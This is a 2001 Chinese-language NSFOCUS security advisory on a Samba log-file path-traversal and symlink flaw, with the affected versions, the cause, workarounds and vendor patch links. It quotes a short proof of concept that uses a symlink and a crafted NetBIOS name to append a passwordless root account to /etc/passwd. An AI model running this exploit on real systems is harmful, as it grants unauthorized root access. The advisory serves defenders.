首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第23期->最新漏洞
期刊号: 类型: 关键词:
Samba 远程创建文件漏洞

日期:2001-07-17

受影响的系统:  
Samba Samba 2.2.0
   - S.u.S.E. Linux 7.2
Samba Samba 2.0.9
Samba Samba 2.0.8
Samba Samba 2.0.7
- Wirex Immunix OS 7.0-Beta
   - Wirex Immunix OS 7.0
   - Wirex Immunix OS 6.2
   - S.u.S.E. Linux 7.1
   - S.u.S.E. Linux 7.0
   - S.u.S.E. Linux 6.4
   - RedHat Linux 7.1
   - RedHat Linux 7.0
   - RedHat Linux 6.2
   - RedHat Linux 5.2
   - Debian Linux 2.2
   - Conectiva Linux 6.0
   - Conectiva Linux 5.1
   - Conectiva Linux 5.0
   - Conectiva Linux 4.2
   - Conectiva Linux 4.1
   - Conectiva Linux 4.0es
   - Conectiva Linux 4.0
   - Conectiva Linux graficas
   - Conectiva Linux ecommerce
   - Caldera eServer 2.3.1
   - Caldera eDesktop 2.4
   - Caldera OpenLinux 2.4
Samba Samba 2.0.6
Samba Samba 2.0.5
   - Caldera eServer 2.3.1
   - Caldera OpenLinux 2.3

不受影响系统:  
Samba Samba 2.2.0a
Samba Samba 2.0.10

描述:
--------------------------------------------------------------------------------


BUGTRAQ ID : 2928

Samba是一个Unix/Linux下的免费的文件和打印共享服务程序。允许在Unix和Microsoft平
台之间使用文件和打印共享。

由于smb守护进程没有正确检查NetBIOS名字,一个本地用户可以从远程在Samba服务器上
往任意文件中写入数据。如果用户可以在本地建立符号链接,用户可以提升自己的权限。
远程用户也可能发动拒绝服务攻击。

问题发生在smbd在创建SMB会话的日志文件(*.log)时。在受影响的平台上,缺省情况下,
每个SMB会话被记录到/var/log/samba/<netbios名字>.log文件中。如果攻击者的NetBIOS
名字是'FOOBAR',日志文件将会是/var/log/samba/fooboar.log.然而,smbd没有检查NetBIOS
名字是否包含"../",因此,如果攻击者将NetBIOS名字设置为"../../../nsfocus",那么将会
创建/nsfocus.log文件。

如果smb.conf文件中存在下列设置:
   log file = /var/log/samba/%m.log
那么,这个系统就是受影响的。

在某些平台下(例如FreeBSD)下,配置如下:
   log file = /usr/local/samba/var/log.%m
这种配置将不受此问题影响。

smbd在创建log文件时也忘记检查该文件是不是链接文件,因此攻击者可以利用符号链接将
任意数据添加到任意文件中。如果将某些数据写到某些敏感文件中(例如/etc/passwd,rc启
动脚本等等),本地用户就可能获取root权限。

<*来源:Michal Zalewski (lcamtuf@bos.bindview.com) *>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



Michal Zalewski (lcamtuf@bos.bindview.com)提供了如下测试代码:


   $ ln -s /etc/passwd /tmp/x.log

   $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
     -n ../../../tmp/x -N

   $ su toor
   #


--------------------------------------------------------------------------------
建议:
临时解决方法:

修改smb.conf,将log file行改变成如下配置:
   log file = /usr/local/samba/var/log.%m
或者将%m删除。

厂商补丁:

Samba 2.2.0a和Samba 2.0.10 已经解决了这个问题,您可以在下列地址下载:

Samba upgrade Samba 2.2.0a
http://us1.samba.org/samba/ftp/samba-2.2.0a.tar.gz
Samba upgrade Samba 2.0.10
http://us1.samba.org/samba/ftp/samba-2.0.10.tar.gz

很多Linux厂商也提供了升级版本,详细下载地址请参考相应的安全公告。

RedHat 为此发布了一个安全公告(RHSA-2001:086-06):
RHSA-2001:086-06: New Samba packages available for Red Hat Linux 5.2, 6.2, 7 and 7.1
公告链接:http://www.redhat.com/support/errata/RHSA-2001-086.html

SuSE Linux 为此发布了一个安全公告(SuSE-SA:2001:021):
SuSE-SA:2001:021: samba
公告链接:http://www.suse.com/de/support/security/2001_021_samba_txt.txt

Immunix Linux 为此发布了一个安全公告(IMNX-2001-70-027-01):
IMNX-2001-70-027-01: samba update -- Immunix OS 6.2, 7.0-beta, 7.0
公告链接:http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70-027-01

Debian Linux 为此发布了一个安全公告(DSA-065-1):
DSA-065-1: samba remote file append/creation problem
公告链接:http://www.debian.org/security/2001/dsa-065

Caldera Linux 为此发布了一个安全公告(CSSA-2001-024.0):
CSSA-2001-024.0: OpenLinux: samba remote root problem
公告链接:http://www.caldera.com/support/security/advisories/CSSA-2001-024.0.txt

版权所有,未经许可,不得转载